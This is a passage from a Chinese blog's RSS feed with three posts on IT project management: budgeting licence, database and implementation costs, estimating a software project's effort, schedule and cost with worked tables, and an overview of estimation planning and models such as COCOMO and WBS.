    没有一个好的成本预算，对于信息化项目的影响，是众所周知的，笔者在这里也就不浪费口舌了。下面笔者结合自己的工作经验，谈谈如何来做好信息化项目成本预算，以及减少预算的一些技巧。
    信息化项目的成本，大致可以分为两块，一是有形成本，如软件的授权费用、培训费用、二次开发费用等等；二是无形的成本，如项目所占用的时间、可能给现有生产经营带来的风险、转型过程中的损失等等。前者是可控的、可量化定义的；而后者的话，跟投资回报率一样，很难精确的统计与控制。下面笔者结合一个财物管理软件项目，来谈谈在项目成本预算中，该注意的地方。其实，很多信息化项目的成本预算都是大同小异的，可以相互借鉴。
    一、应用软件的授权费用。
    企业若要实施财务信息化管理项目的话，则第一笔庞大支出就是财务管理软件的授权费用。虽然说，现在市场上也有一些免费的开源软件，或者是一些盗版的财物管理软件，这些都不在这篇文章的讨论之内。
    我们CIO在实施财务信息化管理软件之前，第一件要做的就是打听这个财务管理软件的行情，看看财务管理软件的价格。在打听这个软件价格行情的时候，需要注意几个问题。

    一是买软件跟买衣服一样，价格往往跟品牌联系在一起的。一个著名的牌子，如国内的金蝶、用友的财务管理软件，国外的甲骨文等财物管理软件模块，在价格上还是有不小的差异。不过，有一点要明确的就是，软件的性能与质量，往往跟品牌没有直接的联系。这就好像衣服的质量跟品牌没有一一对应的关系一样。有时候，杂牌的软件，在企业中也能够开发结果；相反，品牌的软件反而在企业中无所作为。所以，CIO为了做成本预算，在打听市场行情的时候，笔者认为最好收集以下不同的品牌的价格行情，然后，再参考其他因素，最终来决定采用哪一款信息化管理软件。如笔者在做财务信息化软件的授权费用预算时，就把财务管理软件根据其知名度与价格的不同，分为一线品牌、二线品牌与三线品牌，然后把其价格填入进去。如此的话，决策者就能一目了然的知道，软件的授权费用。
    二是要区分软件授权费用中所包含的服务内容。不同的软件公司，其软件授权费用中所包含的服务是不同的。如一些大型的财务管理软件，如集团性的财务信息化管理项目，一般是把财务管理软件授权费用、财务管理软件项目实施费用、二次开发费用等锋是区分开来的；而有些财务管理软件，特别是一些小型的财务管理软件企业，一般报价的时候，是把财务管理软件授权费用与培训费用是合并在一起的，但是，其二次开发费用仍然按实际二次开发的数量分计算的。所以，在作信息化项目成本预算的时候，考虑软件授权费用时，需要了解这个软件授权费用中，到底包含哪些服务内容。这对于最后的成本预算准确与否，有着很重大的影响。
    对于软件授权成本的预计，笔者有如下建议：
    1、在做软件授权成本预算之前，先对自己企业的规模有个充分的认识。因为不同规模的软件，其价格有很大的差异。如你是集团企业的，则你若再去考察单个企业版的软件授权价格就没有多大的必要，而且，这也浪费时间。所以，在软件授权成本预计的时候，不要收集所有的相关软件，而只需要收集一些具有代表性的软件价格即可。
    2、为了后续分析比较的需要，最好有一个统一的报价体系。即当上面所说的，若报价中所包含的服务不一样的话，则我们CIO在做成本预算的时候，要进行相关的折换。一般是自己先形成一个统一的报价格式，然后把各个供应商的报价进行处理，要么合并、要么分解。因为只有统一的口径，才有对比的可能性。
    二、后台数据库的成本。
    现在的信息化管理软件，一般都需要有后台数据库的支持。所以，对于后台数据库的成本，也是不容小视的一块支出。
    现在不同的数据库，其软件授权成本也是不同的。甲骨文的Oracle数据库是数据库中的老大，其几个也是数一数二的；而微软的SQLServer相对来说，价格要稍微便宜一点；另外，还有一些免费的数据库，如MYSQL；若企业愿意承担风险的话，那也可以采用盗版的数据库版本，等等。
   [...]]]></description>
			<content:encoded><![CDATA[<p>信息化项目是一个烧钱的游戏，这已经是很多企业管理者脑袋对于信息化项目的一个直观的印象。其实呢，信息化项目比起企业其他项目来说，还是小儿科，如一个新产品的研发或者新生产线的投入，都是动辄十万、百万起步的。那为什么偏偏会给信息化项目扣上这么一顶高帽子呢？根据笔者的了解，这其中有两方面的原因。一是这些信息化项目的投资，其回报是无形的，很难利用金钱来衡量信息化项目的投资回报；二是由于很多信息化项目管理人员没有成本预算的相关知识，所以，他们在做项目报告的时候，根本没有做相关的成本预算或者所作的预算跟最后的成本支出相差甚远，他们只知道没钱了就像老板要钱。长久下去，就在投资者心中形成了这么一个坏印象。<br />
    没有一个好的成本预算，对于信息化项目的影响，是众所周知的，笔者在这里也就不浪费口舌了。下面笔者结合自己的工作经验，谈谈如何来做好信息化项目成本预算，以及减少预算的一些技巧。<br />
    信息化项目的成本，大致可以分为两块，一是有形成本，如软件的授权费用、培训费用、二次开发费用等等；二是无形的成本，如项目所占用的时间、可能给现有生产经营带来的风险、转型过程中的损失等等。前者是可控的、可量化定义的；而后者的话，跟投资回报率一样，很难精确的统计与控制。下面笔者结合一个财物管理软件项目，来谈谈在项目成本预算中，该注意的地方。其实，很多信息化项目的成本预算都是大同小异的，可以相互借鉴。<br />
    一、应用软件的授权费用。<br />
    企业若要实施财务信息化管理项目的话，则第一笔庞大支出就是财务管理软件的授权费用。虽然说，现在市场上也有一些免费的开源软件，或者是一些盗版的财物管理软件，这些都不在这篇文章的讨论之内。<br />
    我们CIO在实施财务信息化管理软件之前，第一件要做的就是打听这个财务管理软件的行情，看看财务管理软件的价格。在打听这个软件价格行情的时候，需要注意几个问题。<br />
<span id="more-1407"></span><br />
    一是买软件跟买衣服一样，价格往往跟品牌联系在一起的。一个著名的牌子，如国内的金蝶、用友的财务管理软件，国外的甲骨文等财物管理软件模块，在价格上还是有不小的差异。不过，有一点要明确的就是，软件的性能与质量，往往跟品牌没有直接的联系。这就好像衣服的质量跟品牌没有一一对应的关系一样。有时候，杂牌的软件，在企业中也能够开发结果；相反，品牌的软件反而在企业中无所作为。所以，CIO为了做成本预算，在打听市场行情的时候，笔者认为最好收集以下不同的品牌的价格行情，然后，再参考其他因素，最终来决定采用哪一款信息化管理软件。如笔者在做财务信息化软件的授权费用预算时，就把财务管理软件根据其知名度与价格的不同，分为一线品牌、二线品牌与三线品牌，然后把其价格填入进去。如此的话，决策者就能一目了然的知道，软件的授权费用。<br />
    二是要区分软件授权费用中所包含的服务内容。不同的软件公司，其软件授权费用中所包含的服务是不同的。如一些大型的财务管理软件，如集团性的财务信息化管理项目，一般是把财务管理软件授权费用、财务管理软件项目实施费用、二次开发费用等锋是区分开来的；而有些财务管理软件，特别是一些小型的财务管理软件企业，一般报价的时候，是把财务管理软件授权费用与培训费用是合并在一起的，但是，其二次开发费用仍然按实际二次开发的数量分计算的。所以，在作信息化项目成本预算的时候，考虑软件授权费用时，需要了解这个软件授权费用中，到底包含哪些服务内容。这对于最后的成本预算准确与否，有着很重大的影响。<br />
    对于软件授权成本的预计，笔者有如下建议：<br />
    1、在做软件授权成本预算之前，先对自己企业的规模有个充分的认识。因为不同规模的软件，其价格有很大的差异。如你是集团企业的，则你若再去考察单个企业版的软件授权价格就没有多大的必要，而且，这也浪费时间。所以，在软件授权成本预计的时候，不要收集所有的相关软件，而只需要收集一些具有代表性的软件价格即可。<br />
    2、为了后续分析比较的需要，最好有一个统一的报价体系。即当上面所说的，若报价中所包含的服务不一样的话，则我们CIO在做成本预算的时候，要进行相关的折换。一般是自己先形成一个统一的报价格式，然后把各个供应商的报价进行处理，要么合并、要么分解。因为只有统一的口径，才有对比的可能性。<br />
    二、后台数据库的成本。<br />
    现在的信息化管理软件，一般都需要有后台数据库的支持。所以，对于后台数据库的成本，也是不容小视的一块支出。<br />
    现在不同的数据库，其软件授权成本也是不同的。甲骨文的Oracle数据库是数据库中的老大，其几个也是数一数二的；而微软的SQLServer相对来说，价格要稍微便宜一点；另外，还有一些免费的数据库，如MYSQL；若企业愿意承担风险的话，那也可以采用盗版的数据库版本，等等。<br />
    一般来说，CIO在选择数据库软件的时候，不像选择应用软件那样的自由，而是会受到一些因素的限制，如：<br />
    可能受到来自前台应用软件的限制。一般来说，一个数据库应用软件其不可能支持所有的数据库系统，出于各种目的，有些是技术上的限制，而有些上商业运营方面的限制，其一般都只是支持几个特定的数据库系统。如你若采用甲骨文的应用软件产品，则它们就推荐你采用他们的数据库版本；采用微软的ERP软件，他们就会推荐你采用微软的数据库系统，等等。这是捆绑销售的一种碗转的形式。<br />
    另外一种就是数据库应用的限制。不同版本的数据库，在性能上还是有差异的。所以，企业要根据不同的性能，采取不同的数据库。若需要进行大量的分析运算或者人工智能的话，可能MYSQL等开源数据库可能不能胜任，要么是无法完成任务，要么就是执行时间过长。而若企业只是一些简单的应用，不涉及到人工智能或者大量数据运算的话，若采用Oracle的等大型的数据库的话，则就显得有点浪费，毕竟企业需要为此付出比较昂贵的代价。<br />
    所以，在数据库成本的预算上，笔者认为需要注意以下几点：<br />
    1、要考虑在应用软件销售的同时，有没有数据库版本的限制。若我们看中的应用软件，其只支持某款特殊的数据库管理系统，那么我们只需要找对应的数据库版本的价格即可。不过，往往这些数据库管理软家的价格是不菲的。因为要不是这里有很大的商业价值，软件公司就不会对数据库软件进行捆绑销售。<br />
    2、若企业自己有比较多的选择余地的话，那笔者个人认为，一些小型的数据库管理软件，甚至是免费的开源管理软件，基本上就可以满足企业的日常办公需求。而没有必要花费比较高的代价去采用那些昂贵的商业数据库系统。毕竟信息化管理效果，跟采用什么样的数据库，两者之间没有多大的联系。也就是说，软件的功能基本上是有前台的程序所决定的，跟后台的数据库没有大大的联系。而且，数据库对于用户来说，都是透明的，他们看到到数据库的存在。对于，在数据库选择的时候，不用像前台应用软件那样，考虑数据库软件的操作性以及页面的美观程度，等等。笔者现在很多信息化管理项目，都采用了开源的数据库系统，都运行的不错。所以，或许在数据库版本的选择上，还可以为信息化管理项目省下一笔不小的开支。<br />
    三、项目的实施费用。<br />
    项目的实施费用在项目的实施成本中，也占据不少的比例。所以，在成本预算中，对其也要进行充分的重视。一般来说，对其进行预算时，需要注意如下几点。<br />
    1、实施费用所包含的内容。有时候，实施费用不仅包括培训的费用，还需要包含实施顾问的住宿费用与来回的车费等等。所以，这在实施费用的预算中，最好能够列清楚。如此的话，对于后续实施费用的支出才会有所控制。<br />
    2、实施费用一般可以有折扣。根据笔者跟软件公司打交道的经验，软件的实施费用往往是可以打折扣的。如有的按天来计费的软件实施公司，会买几送几的商业折扣；而有的按模块进行收费的企业，也可以在整个实施费用的基础上，大个几折，有的甚至可以打到5折。所以，在实施费用这一块的话，CIO要先去市场上打听好行情，如此的话，才能够得出一个比较精确的成本预算。若光听软件公司的一面之词，则往往这个预算支出比实际支出要来得大。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1407.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>软件项目管理FollowMe：如何估算项目</title>
		<link>http://www.evanjiang.net.cn/archives/1405.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1405.html#comments</comments>
		<pubDate>Wed, 23 Dec 2009 03:29:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[项目管理]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1405</guid>
		<description><![CDATA[<p> 一个成功的软件项目首先要有一个好的起点，也就是一个合理的项目计划；一个好的项目计划，离不开一个准确的、可信的、客观的项目估算数据作为基础。如何提高估算的准确性，如何利用项目估算的数据来制定项目计划，本文就将带领大家学习、理解软件项目估算的一些最佳实践。
    为什么要对项目进行估算
    对于庞大的、多变的软件项目来说有着太多的不确定性。之所以要先制定项目计划，目的就是为了让项目更加可控。如果项目的计划缺乏数据进行支持，或者根本不进行估算，只凭项目管理人员的经验进行管理，那么项目最终就会变成软件项目常见的“三拍”现象：“首先公司领导拍拍某个项目经理的脑袋，说你来负责这个项目；项目经理拍拍胸脯说没问题；最后项目失败的时候项目经理就只能拍拍屁股走人”。
    当然，这只是个玩笑。不过由此可见项目估算是项目管理人员深入了解项目的第一步，做到“知己知彼，才能百战不殆”。
    常用的软件估算方法
    软件可以通过主观和客观两种方法对其进行估算。
    主观的估算方法可以通过召集项目团队成员，或者邀请各方面的专家，共同对某个项目的属性进行评估。参与评估的每个人都要单独进行估算，如果发现大家对某个项目属性估算的结果存在较大偏差，那么就需要做进一步的讨论，直到取得共识为止。对个别特殊属性进行主观估算时，一定要有直接干系人的参与，例如：对某个文档工作量进行估算时，最好该文档的负责人参与估算，因为他才是最终的执行人。
    客观的估算方法是利用公司提供的各种度量数据进行估算，例如：组织级的生产率，或者其他项目的度量数据。本文主要讲解项目管理人员如何通过客观的方法对项目进行估算。
    项目的哪些属性可以进行估算
    软件项目的属性有很多，建议至少以下属性要在项目计划时对其进行估算：
    1、 项目规模
    2、 项目工作量
    3、 项目所需资源
   [...]]]></description>
			<content:encoded><![CDATA[<p> 一个成功的软件项目首先要有一个好的起点，也就是一个合理的项目计划；一个好的项目计划，离不开一个准确的、可信的、客观的项目估算数据作为基础。如何提高估算的准确性，如何利用项目估算的数据来制定项目计划，本文就将带领大家学习、理解软件项目估算的一些最佳实践。<br />
    为什么要对项目进行估算<br />
    对于庞大的、多变的软件项目来说有着太多的不确定性。之所以要先制定项目计划，目的就是为了让项目更加可控。如果项目的计划缺乏数据进行支持，或者根本不进行估算，只凭项目管理人员的经验进行管理，那么项目最终就会变成软件项目常见的“三拍”现象：“首先公司领导拍拍某个项目经理的脑袋，说你来负责这个项目；项目经理拍拍胸脯说没问题；最后项目失败的时候项目经理就只能拍拍屁股走人”。<br />
    当然，这只是个玩笑。不过由此可见项目估算是项目管理人员深入了解项目的第一步，做到“知己知彼，才能百战不殆”。<br />
    常用的软件估算方法<br />
    软件可以通过主观和客观两种方法对其进行估算。<br />
    主观的估算方法可以通过召集项目团队成员，或者邀请各方面的专家，共同对某个项目的属性进行评估。参与评估的每个人都要单独进行估算，如果发现大家对某个项目属性估算的结果存在较大偏差，那么就需要做进一步的讨论，直到取得共识为止。对个别特殊属性进行主观估算时，一定要有直接干系人的参与，例如：对某个文档工作量进行估算时，最好该文档的负责人参与估算，因为他才是最终的执行人。<br />
    客观的估算方法是利用公司提供的各种度量数据进行估算，例如：组织级的生产率，或者其他项目的度量数据。本文主要讲解项目管理人员如何通过客观的方法对项目进行估算。<br />
    项目的哪些属性可以进行估算<br />
    软件项目的属性有很多，建议至少以下属性要在项目计划时对其进行估算：<br />
    1、 项目规模<br />
    2、 项目工作量<br />
    3、 项目所需资源<br />
    4、 项目各阶段工作量<br />
    5、 项目成本<br />
<span id="more-1405"></span><br />
> 如何对项目规模进行估算<br />
    对项目规模进行估算是为了将项目的范围进行量化，项目规模的估算是整个软件估算中最核心、最基础的环节，也是整个估算的第一步。<br />
    软件项目的规模可以使用功能点估算法和代码行估算法两种方式，但是作为项目初期阶段，建议使用功能点法进行估算会比较合理。具体的功能点估算方法可以参考我之前在ITPUB上发表的相关文章。<br />
    > 如何对项目工作量进行估算<br />
    在项目规模的基础上，可以利用组织级生产率得到项目总的工作量。例如：一个公司组织级生产率如下图所示，在2008年中期时，该组织每开发一个功能点需要花费1.5个人/天的工作量。假如该公司某项目有200个功能点，那么该项目的工作量就可以通过以下公式计算出来：<br />
    项目工作量= 200 * 1.5 = 300 人/天</p>
<p>    > 如何对项目所需资源、各阶段工作量进行估算<br />
    对这些项目属性进行估算的主要方法是通过与组织级度量库中的历史数据进行对比，找到相同规模的历史项目，参考其数据，根据本项目的特点对相关属性进行估算。假如本项目与公司之前的某项目A规模大体相当，项目A历史数据如表1和表2所示：<br />
    表1-项目A使用资源数<br />
人力资源估算<br />
设计人员	2人<br />
需求人员	1人<br />
开发人员	4人<br />
测试人员	3人<br />
    表2-项目A生命周期各阶段工作量分布<br />
瀑布模型生命周期各阶段<br />
立项阶段	2.00%<br />
需求阶段	5.00%<br />
计划阶段	6.00%<br />
设计阶段	22.00%<br />
开发阶段	22.00%<br />
系统测试阶段	25.00%<br />
用户验收阶段	11.00%<br />
结项阶段	7.00%<br />
     两个项目的规模相当，这是我们进行估算的依据，根据之前对项目总工作量的估算（300人/天），那么就可以得到本项目各个阶段的工作量分布，如表3所示：<br />
    表3-本项目各生命周期工作量分布<br />
瀑布模型生命周期各阶段	人/天<br />
立项阶段	2.00%	6<br />
 需求阶段	5.00%	15<br />
计划阶段	6.00%	18<br />
设计阶段	22.00%	66<br />
开发阶段	22.00%	66<br />
系统测试阶段	25.00%	75<br />
用户验收阶段	11.00%	33<br />
结项阶段	7.00%	21<br />
      > 如何对项目工期进行估算<br />
    假设本项目采用瀑布式的开发模型，并且所需资源与组织级度量库中的历史项目A相同，根据表3对各个生命周期阶段工作量的估算，以及表1对各种资源的估算，那么通过表4的计算就可以得到完成本项目所需要的时间。<br />
    假如每月按照21个工作日进行计算，那么本项目估计5.82个月后可以结束。<br />
    表4-对项目周期的估算<br />
生命周期各阶段生命周期各阶段<br />
工时数人/天<br />
参与角色	参与人数	天数<br />
立项阶段	6	PM	1	6<br />
需求阶段	15	需求人员	1	15<br />
计划阶段	18	PM	1	18<br />
设计阶段	66	设计人员	2	33<br />
 开发阶段	66	开发人员	4	16.5<br />
系统测试阶段	75	测试人员	3	 25<br />
用户验收阶段	33	测试人员、需求人员、PM	5	6.6<br />
结项阶段	21	全体成员	10	2.1<br />
项目周期（天）	122.2<br />
    > 如何估算项目的成本<br />
    假如本项目所使用的资源与项目A相同，那么就可以参考组织度量库中2008年各种资源的平均成本，如下图所示：</p>
<p>    经过对项目周期的估算，可以得知本项目大概需要5.82个月的时间。基于以上数据就可以通过表5来对项目的成本进行估算，其结果如下所示：<br />
    表5-本项目成本估算<br />
工种	人数	参考数据（元/月）	估算成本<br />
设计人员	2	8000	16000<br />
需求人员	1	5000	5000<br />
开发人员	4	6000	 24000<br />
测试人员	3	4500	13500<br />
项目经理	1	9000	9000<br />
每月成本（元）	67500<br />
项目为期5.82个月，总成本（元）	39，2850<br />
    至此，对项目的规模、成本、工作量、资源和工期的估算方法和顺序就介绍完了，通过本文的介绍，希望广大项目管理人员可以掌握项目估算的技巧。对于使用客观方法进行估算时，组织级的度量数据是关键核心点。另外，软件项目始终伴随着各种各样的变更，这正所谓“变化是永恒的，不变是短暂的”。 作为一个成熟的项目管理者应该勇于面对变化，在每次重大变化后对项目进行重新估算是十分必要的。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/1405.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>如何认识软件项目估算</title>
		<link>http://www.evanjiang.net.cn/archives/1401.html</link>
		<comments>http://www.evanjiang.net.cn/archives/1401.html#comments</comments>
		<pubDate>Wed, 23 Dec 2009 03:25:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[技术感悟]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=1401</guid>
		<description><![CDATA[<p>虽然估算是一门科学，更是一门艺术，这个重要的活动不能以随意的方式来进行……因为估算是所有其他项目计划活动的基础，而项目计划又提供了通往成功的软件工程的道路图，所以，没有它我们就会搭错车。——Roger S. Pressman 《软件工程——实践者的研究方法》
    1、估算前的规划
    当我们的办公室内堆满了杂乱无章的文件时，恐怕无法知道对于我们真正有用的文件在哪里，当我们的软件相目中收集了各种需求、意见、问题时，我们也很难从中估算出整个项目的规模、工作量以及成本。因此，在估算之前我们首先要对众多信息进行整理、归类分析，从而得到一个条理清晰的项目计划，在这个计划提供的框架内，才可能开始正确的估算。精心的规划是任何一个软件开发项目成功与否的关键，有了规划就有如成竹在胸，之后无论风云变幻，都有应对入流的方法。当然只有正确的规划，才能给软件开发指引正确的方向。
    软件项目规划的重点是对人员角色、任务进度、经费、设备资源、工作成果等等做出合适的安排，制定出一些计划（包括高层的和细节的），使大家按照计划行事，最终顺利地达到预定的目标。
    1．1、规划的第一步：确定软件范围
    确定软件范围，就是确定目标软件的数据和控制、功能、性能、约束、接口以及可靠性。这项工作和需求分析是很类似的，如果之前已经达成需求分析规约，那么可以直接从《需求分析说明书》中把有用的部分拿来使用。如果还没有开始需求分析，关于确定软件范围的方法方面，我们可以采用许多需求分析技术（如需求诱导），从客户那里得到一个具体的软件范围。当然如果是一次全新的软件边界探索，就应当考虑软件本身可行性问题，包括团队是否具备在技术、财务、时间、资源上游可靠的保障，软件本身在市场上是否有可靠的竞争优势 ，等等。

    获得软件范围，最直接最可靠的来源就是用户对软件的需求描述。例如，在开发一个C/S架构的铁路供电段数据上报系统中，客户向我们提供了以下的目标软件需求描述：
    在供电站总部每天结束前要审核下属节点操作员（30~40个）的供电安全数据报表，要求每个节点必须在下午5：30~6：00之间上传数据。总部系统通过自动分析，整理出整个区内的安全形势报表，并自动反馈到每个节点。各个节点之间通过调制解调器拨号（MODEM）用内部电话线相连，每个节点电脑主机配备一个MODEM。上传数据为制式报表出了制式信息外，系统自动附加操作员姓名、上报时间、上报节点名称。信息一旦上传，节点端就不可以对已提交信息进行修改、删除，只能阅读、查询。节点间数据互相隔离，只有总部才具备对各个节点数据的管理权限，但是对于归档数据（一旦审核完毕的数据，就进行归档）总部不具备删改的权限。系统设置数据库管理员，独立于审核权限，其职责是对历史数据的清理维护。
    通过上面的描述，我们通过提炼和简化，得到软件的一下功能：
    ◆ 节点数据录入、查询、上传
    ◆ 总部数据汇总、查询、反馈
    ◆ 总部与节点的互联
    [...]]]></description>
			<content:encoded><![CDATA[<p>虽然估算是一门科学，更是一门艺术，这个重要的活动不能以随意的方式来进行……因为估算是所有其他项目计划活动的基础，而项目计划又提供了通往成功的软件工程的道路图，所以，没有它我们就会搭错车。——Roger S. Pressman 《软件工程——实践者的研究方法》<br />
    1、估算前的规划<br />
    当我们的办公室内堆满了杂乱无章的文件时，恐怕无法知道对于我们真正有用的文件在哪里，当我们的软件相目中收集了各种需求、意见、问题时，我们也很难从中估算出整个项目的规模、工作量以及成本。因此，在估算之前我们首先要对众多信息进行整理、归类分析，从而得到一个条理清晰的项目计划，在这个计划提供的框架内，才可能开始正确的估算。精心的规划是任何一个软件开发项目成功与否的关键，有了规划就有如成竹在胸，之后无论风云变幻，都有应对入流的方法。当然只有正确的规划，才能给软件开发指引正确的方向。<br />
    软件项目规划的重点是对人员角色、任务进度、经费、设备资源、工作成果等等做出合适的安排，制定出一些计划（包括高层的和细节的），使大家按照计划行事，最终顺利地达到预定的目标。<br />
    1．1、规划的第一步：确定软件范围<br />
    确定软件范围，就是确定目标软件的数据和控制、功能、性能、约束、接口以及可靠性。这项工作和需求分析是很类似的，如果之前已经达成需求分析规约，那么可以直接从《需求分析说明书》中把有用的部分拿来使用。如果还没有开始需求分析，关于确定软件范围的方法方面，我们可以采用许多需求分析技术（如需求诱导），从客户那里得到一个具体的软件范围。当然如果是一次全新的软件边界探索，就应当考虑软件本身可行性问题，包括团队是否具备在技术、财务、时间、资源上游可靠的保障，软件本身在市场上是否有可靠的竞争优势 ，等等。<br />
<span id="more-1401"></span><br />
    获得软件范围，最直接最可靠的来源就是用户对软件的需求描述。例如，在开发一个C/S架构的铁路供电段数据上报系统中，客户向我们提供了以下的目标软件需求描述：<br />
    在供电站总部每天结束前要审核下属节点操作员（30~40个）的供电安全数据报表，要求每个节点必须在下午5：30~6：00之间上传数据。总部系统通过自动分析，整理出整个区内的安全形势报表，并自动反馈到每个节点。各个节点之间通过调制解调器拨号（MODEM）用内部电话线相连，每个节点电脑主机配备一个MODEM。上传数据为制式报表出了制式信息外，系统自动附加操作员姓名、上报时间、上报节点名称。信息一旦上传，节点端就不可以对已提交信息进行修改、删除，只能阅读、查询。节点间数据互相隔离，只有总部才具备对各个节点数据的管理权限，但是对于归档数据（一旦审核完毕的数据，就进行归档）总部不具备删改的权限。系统设置数据库管理员，独立于审核权限，其职责是对历史数据的清理维护。<br />
    通过上面的描述，我们通过提炼和简化，得到软件的一下功能：<br />
    ◆ 节点数据录入、查询、上传<br />
    ◆ 总部数据汇总、查询、反馈<br />
    ◆ 总部与节点的互联<br />
    ◆ 总部数据库存储<br />
    ◆ 节点数据的本地存储<br />
    在本例中，软件的性能是潜在的。客户虽然没有明确提出，但是由于数据本身的重要性，要求系统在数据上传、反馈、存储过程中安全可靠。客户要求使用MODEM进行拨号连接，那么鉴于MODEM连接过程中可能会出现，由于拨号断开而道导致的数据丢失，在节点本地存放一份数据副本是有必要的。由于系统要求每天上传数据，总部数据库应当是7X24小时不间断服务的，再加上目前总部只有该系统运行接受数据任务，各节点数据量并不大，那么在建议用户选择服务器时，应当考虑性能稳定可靠，但并不一定要购买大容量磁盘阵列和高性能双CPU主机。由于每天上传数据接近下班时间，那么总部汇总数据应当是自动进行的，一旦分析发现重大问题，可以通过与外部网络的设置，向值班人员发送手机讯息、E-MAIL或其他警示。由于不同人员对于上报数据的权限不同，对于系统用户实行分级管理。不同级别的用户，具有对数据的不同管理权力，从而保证在软件使用过程中不发生混乱。<br />
    那么现在一个较为清晰的软件模型已经构造完毕，接下来我们需要进入计划的第二步：确定工作所需资源。<br />
    1．2、规划的第二步：确定工作所需资源<br />
    软件工作所需资源包括：工作环境（软硬件环境、办公室环境）、可复用软件资源（构件、中间件）、人力资源（包括不同各种角色的人员：分析师、设计师、测试师、程序员、项目经理……）。这三种资源的组成比例，可以看作一个金字塔的模式，最上面是人力资源、其次是可复用软件资源、最下面是工作环境。最上面的是组成比例最小的，最下面的是组成比例最大的部分。<br />
    ■ 人力资源<br />
    一个项目到底需要多少种职务的人员构成、多少数量的人员总量，再能成为最有创造力的团队呢？这恐怕是最让项目经理头疼的事情了。任何一个软件工程，都必须在确定软件的工作量之后，才能清楚地知道究竟需要多少人力才能以最小成本和最高效率完成任务。在这之前，不能盲目地进行人力扩充，而且绝对不能为了给公司抬高门面，盲目招收高学历。</p>
<p>    ■ 可复用软件资源<br />
    这是一个容易在计划阶段被忽视的重要资源，很多人总是进入编码阶段才发现可复用资源的价值和存在。经过长期的项目积累或是购买，公司的软件资源库中或许已经积累了大量的可复用资源，但在当前任务中，只能选择有价值的资源。根据不同的应用、时间、来源，可复用软件资源被分为以下几种：<br />
    可直接使用的构件：已有的，能够从第三方厂商获得或已经在以前的项目中开发过的软件。这些构件已经经过验证及确认且可以直接用在当前的项目中。<br />
    具有完全经验的构件：已有的为以前类似于当前要开发的项目建立的规约、设计、代码、或测试数据。当前软件项目组的成员在这些构件所代表的应用领域中具有丰富的经验。因此，对于这类构件进行所需的修改其风险相对较小。<br />
    具有部分经验的构件：已有的为以前与当前要开发的项目相关的项目建立的规约、设计、代码、或测试数据，但需做实质上的修改。当前软件项目组的成员在这些构件所代表的应用领域中仅有有限的经验，因此，对于这类构件进行所需的修改会有相当程度的风险。<br />
    新构件：软件项目组为满足当前项目的特定需要而必须专门开发的软件构件。<br />
    在采用构件的时候，应当以低成本、低风险为使用前提。如果任何一个漂亮的构件的应用，可能会带来潜在出错的风险或者必须经过复杂修改或者效率低下时，我们都应当毫不犹豫地把它抛弃。我们只采用那些能够满足项目的需要且可直接使用的构件，或者具有完全经验的构件，或者经过稍微修改便可使用的构件。<br />
    ■ 环境资源<br />
    “工欲善其事，必先利其器”，要得到高效的开发过程，就必须向工作人员提供良好的软硬件环境，包括开发工具、开发设备、工作环境、管理制度。一般管理人员都会购买可以满足需要的软件开发工具和硬件平台，但是工作环境和管理制度往往被忽视。<br />
    站在人件的角度看，向工作人员提供更轻松自在、安静舒适的办公环境的公司员工往往比整天在狭小隔间中工作的公司员工，产生更高的工作效率。而那些拥有灵活人性化的管理制度的公司，比整天加班的公司更能留住高技术的人才。所以如何在有限资金中，规划一个合理的环境是很重要的事情。<br />
    到此为止，估算前的项目计划已经完成，我们已经形成一个工程开发框架。这是一个有界限的框架，虽然还不够精确，但足以进行估算的工作。<br />
  4．3、IBM模型估算法<br />
    该模型是Watson和Felix在1977年发布的，是基于IBM联合系统分布负责的60个项目的总结而得到的模型。该模型是一个静态模型，而参考数据只有60多个项目，因此有很大的局限性。<br />
    4．4、COCOMO估算法<br />
    Boehm在其经典著作“软件工程经济学”(software engineering conomics)中，介绍了一种软件估算模型的层次体系， 称为COCOMO(构造性成本模型，COnstructive COst MOdel)，它代表了软件估算的一个综合经验模型。<br />
    COCOMO 模型是适用于三种类型的软件项目：(1)组织模式——较小的、简单的软件项目，有良好应用经验的小型项目组，针对一组不是很严格的需求开展工作(如，为一个热传输系统开发的热分析程序)；(2)半分离模式——一个中等的软件项目(在规模和复杂性上)，具有不同经验水平的项目组必须满足严格的及不严格的需求(如，一个事务处理系统，对于终端硬件和数据库软件有确定需求)；(3)嵌入模式——必须在一组严格的硬件、软件及操作约束下开发的软件项目(如，飞机的航空控制系统)。<br />
    4．5、软件方程式估算法<br />
    软件方程式是一个多变量模型，它假设在软件开发项目的整个生命周期中的一个特定的工作量分布。该模型是从4000 多个当代的软件项目中收集的生产率数据中导出的公式。初期的方程式较为复杂，通过，Putnam 和Myers的努力又提出一组简化的方程式。当然这种方法也是基于长期的参考数据的积累而得到的。<br />
    4．6、WBS估算法<br />
    这是一种基于WBS（工作任务分解）的方法，即先把项目任务进行合理的细分，分到可以确认的程度，如某种材料，某种设备，某一活动单元等。然后估算每个WBS要素的费用。采用这一方法的前提条件或先决步骤是：<br />
    对项目需求作出一个完整的限定。<br />
    制定完成任务所必需的逻辑步骤。<br />
    编制WBS表。<br />
    项目需求的完整限定应包括工作报告书、规格书以及总进度表。工作报告书是指实施项目所需的各项工作的叙述性说明，它应确认必须达到的目标。如果有资金等限制，该信息也应包括在内。规格书是对工时、设备以及材料标价的根据。它应该能使项目人员和用户了解工时、设备以及材料估价的依据。总进度表应明确项目实施的主要阶段和分界点，其中应包括长期定货、原型试验、设计评审会议以及其他任何关键的决策点。如果可能，用来指导成本估算的总进度表应含有项目开始和结束的日历时间。<br />
    除了以上介绍的几种方法外，还有一些其他的方法：类比估算、推测估算、Standard-component估算法、普特南估算法等。当然不同的方法适用于不同的具体环境，有些方法虽然很好但并不一定适合当前的任务。只有量体裁衣，具体问题具体分析，才能得到尽量合理的估算。<br />
    5、估算的戒律<br />
    记住：应该满足于事物的本性所能容许的精确度，当只能近似于真理时，不要去寻求绝对的准确??            ——亚里斯多德<br />
